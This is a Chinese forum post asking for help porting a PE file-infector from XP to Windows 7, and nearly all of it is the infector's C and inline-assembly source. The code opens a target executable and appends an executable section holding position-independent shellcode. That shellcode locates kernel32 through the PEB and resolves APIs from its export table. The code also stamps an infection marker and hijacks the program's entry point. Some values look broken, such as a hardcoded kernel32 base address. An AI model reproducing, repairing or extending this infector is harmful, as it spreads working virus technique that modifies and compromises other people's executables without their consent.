|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
这是一个向PE文件中插入可执行程序的代码,在vc的release下生成可在XP下正常插入,可是在WIN7下插入到exe中就导致文件无法正常运行了,请大神看看,怎么改,使它可以在win7下运行
#include <windows.h>
#include<stdio.h>
#pragma data_seg(".mydat")
#pragma code_seg(".shell")
#pragma const_seg(".constdata")
#pragma comment(linker,"/SECTION:.mydat,RWE")
#pragma comment(linker,"/SECTION:.shell,RWE")
#pragma comment(linker,"/SECTION:.constdata,RWE")
#pragma comment(linker,"/MERGE:.mydat=.shell")
#pragma comment(linker,"/MERGE:.constdata=.shell")
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/ENTRY:main")
#pragma comment(linker, "/subsystem:windows")
#define Recode(A) _asm call A _asm A: _asm pop ebx _asm lea eax, A _asm sub ebx, eax //代码重定位
#define GetFunOffset(pFun) _asm mov eax, [ebx + pFun] _asm mov pFun, eax //函数地址重定位
#define GetStringOffset(pStr) _asm mov eax, [pStr] _asm lea eax, [ebx + eax] _asm mov pStr, eax //字符串重定位
#define GetGlobalVar(dwGlobalVar, dwLocalVar) _asm mov eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax //全局变量重定位后赋给局部变量
#define GetGlobalAddr(dwGlobalVar, dwLocalVar) _asm lea eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define VA_END -2
#define DOS IMAGE_DOS_HEADER
#define NT IMAGE_NT_HEADERS
#define SEC IMAGE_SECTION_HEADER
#define MZ_FLAG 23117
#define PE_FLAG 17744
#define INFECTFLAG 19901117 //感染标记
void GetKernellFun();
int InvokeGlobal(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, ...);
typedef HINSTANCE (WINAPI *pLoadLibraryDef)(LPCTSTR);
typedef DWORD (WINAPI *pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);
bool Strcmp(char* szSrc, char* szDes);
//感染代码从此处开始
DWORD dwOldEntry = 0;
char szUser32[] = "User32.Dll";
char szMessageBox[] = "MessageBoxA";
char szKernel32[] = "Kernel32.Dll";
char szExitProcess[] = "ExitProcess";
char szText[] = "真的要运行程序吗?";
char szCaption[] = "CIW_BLUE Code";
char szLoadLibrary[] = "LoadLibraryA";
char szGetProcAddress[] = "GetProcAddress";
DWORD dwLoadLibrary = 0;
DWORD dwGetProcAddress = 0;
void CodeBegin()
{
Recode(A) //代码重定位
GetKernellFun();
DWORD dwOldAddr = 0;
GetGlobalVar(dwOldEntry, dwOldAddr); //变量重定位
//插入代码的核心功能,此处调用MessageBoxA(),显示对话框
if(InvokeGlobal("User32", "MessageBoxA", "nssn", NULL, szText, szCaption, MB_YESNO, VA_END) == IDNO)
{
InvokeGlobal(szKernel32, szExitProcess, "n", 0, VA_END); //调用ExitProcess()
}
_asm
{
jmp dwOldAddr
}
}
//根据输入的动态链接库和API名称及参数,调用该API.参数不定
int InvokeGlobal(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, ...)
{
Recode(A) //代码重定位
char*pTempFunName = pGlobalDllName;
GetStringOffset(pGlobalDllName); //字符串重定位
GetStringOffset(pGlobalFunName);
GetStringOffset(pGlobalAgrFmt);
// XP下kernel32.dll的基地址
// DWORD dwLoadLib = 0x7c800000;
// DWORD dwGetProcAddr = 0x7c80000;
//kernel32.dll BaseAddress
DWORD dwLoadLib = 0x75330000;
DWORD dwGetProcAddr = 0x75330000;
GetGlobalVar(dwLoadLibrary, dwLoadLib); //全局变量重定位后赋给局部变量
GetGlobalVar(dwGetProcAddress, dwGetProcAddr);
HMODULE hDll = ((HMODULE(WINAPI*)(char*))dwLoadLib)(pGlobalDllName); //加载动态链接库
PROC dwFunAddr = ((PROC(WINAPI*)(HMODULE,char*))dwGetProcAddr)(hDll, pGlobalFunName); //获得目标API地址
DWORD dwRet = 0, j = 0;
DWORD dwParam[128], dwParamTemp = 0; //参数数组
DWORD dwParamLen = 0;
va_list stVaList; //是在C语言中解决变参问题的一组宏
va_start(stVaList, pGlobalAgrFmt); //获取可变参数列表的第一个参数的地址
while((dwParam[dwParamLen++] = va_arg(stVaList,DWORD)) != VA_END)
;
dwParamLen -= 2;
while(dwParamLen != -1)
{
dwParamTemp = dwParam[dwParamLen];
if(pGlobalAgrFmt[dwParamLen] == 's' || pGlobalAgrFmt[dwParamLen] == 'S')
GetStringOffset(dwParamTemp); //字符串重定位
_asm push dwParamTemp //依次把参数压栈
dwParamLen--;
}
_asm mov eax, dwFunAddr
_asm call eax //调用目标函数
_asm mov dwRet, eax
va_end(stVaList);
return dwRet;
}
//获取Kernel32基地址,并搜索 LoadLibraryA() 和 GetProcAddress() 地址
void GetKernellFun()
{
Recode(A)//代码重定位
char* pLoadLibrary = szLoadLibrary;
char* pGetProcAddress = szGetProcAddress;
DWORD dwFuncAddr = 0;
GetStringOffset(pLoadLibrary);
GetStringOffset(pGetProcAddress); //字符串重定位
IMAGE_DOS_HEADER* stDos;
IMAGE_NT_HEADERS* stNT;
IMAGE_DATA_DIRECTORY* stDatDir = 0;
IMAGE_EXPORT_DIRECTORY* stEPT;
DWORD dwKernelBase = 0;
_asm //采取PEB方法获取Kernel32.dll的基地址,FS寄存器存储了TEB结构
{
mov eax,dword ptr fs:[30h] //PEB结构首地址
mov eax,dword ptr [eax+0Ch] //PEB_LDR_DATA结构
mov esi,dword ptr [eax+1Ch] //Ntdll.dll基地址
lods dword ptr [esi]
mov eax,dword ptr [eax+08h] //Kernel32.dll的基地址
mov dwKernelBase, eax
}
char *pBase = (char*)dwKernelBase;
stDos = (IMAGE_DOS_HEADER*)dwKernelBase; //Kernel32.dll的DOS头PE头
stNT = (IMAGE_NT_HEADERS*)(pBase + stDos->e_lfanew); //PE头
stDatDir = &stNT->OptionalHeader.DataDirectory[0]; //数据目录项
stEPT = (IMAGE_EXPORT_DIRECTORY*)(pBase + stDatDir->VirtualAddress); //导出表
//导出函数地址
DWORD* dwFunAddr = (DWORD*)(pBase + stEPT->AddressOfFunctions);
DWORD* dwAddr = (DWORD*)(pBase + stEPT->AddressOfNames);
WORD* dwAddr1 = (WORD*)(pBase + stEPT->AddressOfNameOrdinals);
for(int i = 0; i < stEPT->NumberOfNames; i++)
{
if(Strcmp(pBase + dwAddr[i], pLoadLibrary) == 0)
break;
}
WORD* pwBase = (WORD*)(pBase + stEPT->AddressOfNameOrdinals);
int nFunIndex = pwBase[i] + stEPT->Base;
dwFuncAddr = dwFunAddr[nFunIndex-1];
_asm
{
Recode(B)
mov eax, dwFuncAddr
add eax, dwKernelBase
mov [ebx + dwLoadLibrary], eax //dwLoadLibrary得到LoadLibrary的地址
}
for(i = 0; i < stEPT->NumberOfNames; i++)
{
if(Strcmp(pBase + dwAddr[i], pGetProcAddress) == 0)
break;
}
nFunIndex = pwBase[i] + stEPT->Base;
dwFuncAddr = dwFunAddr[nFunIndex-1];
_asm
{
Recode(C)
mov eax, dwFuncAddr
add eax, dwKernelBase
mov [ebx + dwGetProcAddress], eax //dwGetProcAddress得到GetProcAddress
}
}
//比较函数名
bool Strcmp(char* szSrc, char* szDes)
{
while(*szSrc && *szDes && *szSrc == *szDes)
{
szSrc++, szDes++;
}
return *szSrc - *szDes;
}
//判断是否是PE文件
bool IsPeFile(PVOID pPeBase)
{
IMAGE_DOS_HEADER* stDos = (DOS*)pPeBase;
IMAGE_NT_HEADERS* stNT = (NT*)((char*)pPeBase + stDos->e_lfanew);
if(stDos->e_magic != MZ_FLAG)
return false;
if(stNT->Signature != PE_FLAG)
return false;
return true;
}
//感染代码从此处结束
void CodeEnd()
{
}
//字节对齐
int Align(int nSize, int n)
{
if(nSize % n)
return (nSize / n + 1) * n;
return nSize;
}
//是否已被感染,参数为映射地址空间的首地址
BOOL IsInfected(PVOID pHdr)
{
IMAGE_DOS_HEADER *p = (IMAGE_DOS_HEADER*)pHdr;
//判断DOS头的保留位是否已被填充为 19901117
if ( p->e_res2[0] == (WORD)INFECTFLAG)//e_res2 保留字,一般用来填写是否被改写
{
return TRUE;
}
else
{
p->e_res2[0] = (WORD)INFECTFLAG;
return FALSE;
}
}
int main()
{
//感染的代码长度
DWORD dwCodeSize = (DWORD)CodeEnd - (DWORD)&dwOldEntry; //CodeEnd为感染代码的末位置指针,dwOldEntry为感染代码的初位置指针
DWORD dwSize = 0;
DWORD dwOldEntry1 = 0;
HANDLE hFile = CreateFile("D:\\1.exe", GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); //打开将要感染的文件
HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL); //创建文件映射对象
PVOID pFile = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL); //映射文件映射对象
if(!pFile)
{
printf("Error pFile!");
CloseHandle(hMapFile);//关闭文件映射对象
CloseHandle(hFile);//关闭文件句柄
return 0;
}
if(!IsPeFile(pFile))
{
printf("This isn't PE File!");
UnmapViewOfFile(pFile);//在当前应用程序的内存地址空间解除对文件映射对象的映射
CloseHandle(hMapFile);
CloseHandle(hFile);
return 0;
}
//PE头指针= 文件头指针+DOS头的e_lfanew位指定的PE头偏移
IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
//节区头指针= PE头指针+PE头的长度 因为PE后即为区块表
IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
//判断是否已被感染,利用节名
for(int i = 0; i < stNT->FileHeader.NumberOfSections; i++)
{
if(!memcmp(stSec[i].Name, ".NEW", 4))
{
return 0;
}
}
IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1]; //原文件节表中最后一节的指针
IMAGE_SECTION_HEADER* stNewSec = &stSec[stNT->FileHeader.NumberOfSections]; //新建节的指针
DWORD dwFileAlign = stNT->OptionalHeader.FileAlignment; //FileAlignment为文件区块对齐值
DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment; //SectionAlignment为内存中区块对齐值 即区块的大小必须为它们的整数倍
stNT->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1; //新文件的节的个数
strcpy((char*)stNewSec->Name, ".NEW"); //新节的名称
//设置新节的属性,内存地址,偏移,实际大小,原始内存大小(未对齐)
//IMAGE_SCN_MEM_EXECUTE 内存页可执行
//IMAGE_SCN_MEM_READ 内存页可读
//IMAGE_SCN_MEM_WRITE 内存页可写
//IMAGE_SCN_CNT_CODE 包含代码
stNewSec->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ;
stNewSec->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign);
stNewSec->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData;
stNewSec->SizeOfRawData = (dwCodeSize >> 1) ;
stNewSec->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign);
//修正PE镜像大小
stNT->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize; //SizeOfCode 区块总大小
stNT->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize; //SizeOfImage为PE映像装入内存后的总大小
SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN); //该块在磁盘中的偏移
WriteFile(hFile, &dwOldEntry, stNewSec->Misc.VirtualSize, &dwSize, NULL); //写入感染代码
SetEndOfFile(hFile);
//设置新的入口点
dwOldEntry1 = stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase;//原来的入口=基地址+入口相对于头指针的偏移量,AddressOfEntryPoint为文件被执行时的入口地址,ImageBase为文件默认装入的基地址
SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN);
WriteFile(hFile, &dwOldEntry1 , 4, &dwSize, NULL);
stNT->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)CodeBegin - (DWORD)&dwOldEntry; //将设置新的PE入口点
FlushViewOfFile(pFile, stNT->OptionalHeader.SizeOfHeaders); //将写入文件映射缓冲区的所有数据都刷新到磁盘
UnmapViewOfFile(pFile); //解除映射
CloseHandle(hMapFile);
CloseHandle(hFile);
return 0;
}
|
|